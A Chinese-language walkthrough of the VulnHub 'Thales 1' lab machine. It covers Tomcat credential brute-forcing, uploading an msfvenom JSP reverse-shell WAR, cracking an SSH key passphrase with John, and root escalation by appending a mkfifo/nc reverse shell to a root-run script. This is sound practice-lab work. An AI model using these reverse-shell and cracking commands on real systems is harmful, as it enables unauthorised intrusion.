前期准備:
靶機地址:https://www.vulnhub.com/entry/thales-1,749/
這個靶機和之前的靶機一樣,獲取不到 DHCP 地址,進入系統(網上有很多忘記密碼進入系統的方法)查看時發現,“i” 輸入時會出現以下這種情況:
而且很多輸入的字符都混亂了:
這些都亂了,沒有“i”字符,那更改網卡就很麻煩,“vi”,“vim”都用不了,那就只能試試 nano 編輯器:
之前的網卡都是 ens33 所以推測這個靶機的網卡也是 ens33,修改完成后 Ctrl+x 退出,y 保存,然后直接回車即可:
重啟一下服務,獲取到了地址:
kali攻擊機IP:192.168.11.129
靶機地址:192.168.11.176
一、信息收集
1.使用nmap對目標靶機進行掃描
nmap -A -p 1-65535 192.168.11.176
發現開放了22和8080端口
2.收集頁面信息
訪問8080端口:
發現是個 tomcat 頁面,有登錄窗口:
3.爆破 Tomcat
使用msf爆破一下:
設置目標靶機並進行爆破:
解得:tomcat:role1
二、漏洞攻擊
1.上傳shell文件
登錄進去看一下:
點擊 Server Status 再次輸入用戶名密碼:
在 List Applications 頁面發現可以上傳文件的地方:
那就上傳一個反彈shell試試,創建反彈shell Tomcat - HackTricks 中有相關的使用方法:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.11.129 LPORT=1234 -f war -o revshell.war
上傳文件訪問並監聽:
nc連接成功,
2.收集用戶 Tomcat 的信息
查看一下是 python2 還是 python3:
是 python3 ,寫入交互式shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
可以升級一下 shell。
查看一下權限:
不是之前發現的密碼,那就看一下其他的信息:
在 /home 目錄下發現了一些信息:
發現 backup.sh 文件可以運行系統指令:
user.txt 文件沒有權限查看,除此之外還發現了 .ssh 文件夾:
發現有私鑰,那就可以用 ssh2john.py 生成密碼文件然后爆破,保存秘鑰到本地:
用 ssh2john.py 腳本編譯一下:
/usr/share/john/ssh2john.py id_rsa > crack.txt
爆破:
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
解得密碼為:vodka06。
3.收集用戶 thales 的信息
在 nc 連接的 tomcat 中切換 thales 用戶:
切換成功,查看一下 /home 目錄下的信息:
user.txt 文件中有字符串,md5解碼:
能解出,要收費,先看 notes.txt 文件中的信息,剛才發現也沒有利用:
可以看出是root運行的,查看文件權限:
發現我們讀寫執行都可以。
三、提權
在其中添加反彈shell(一些反彈shell可以參考 pentestmonkey 網站上的):
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.129 1235 >/tmp/f" >> backup.sh
用 nc 監聽 1235 端口,等了一會就連上了:
獲得了root。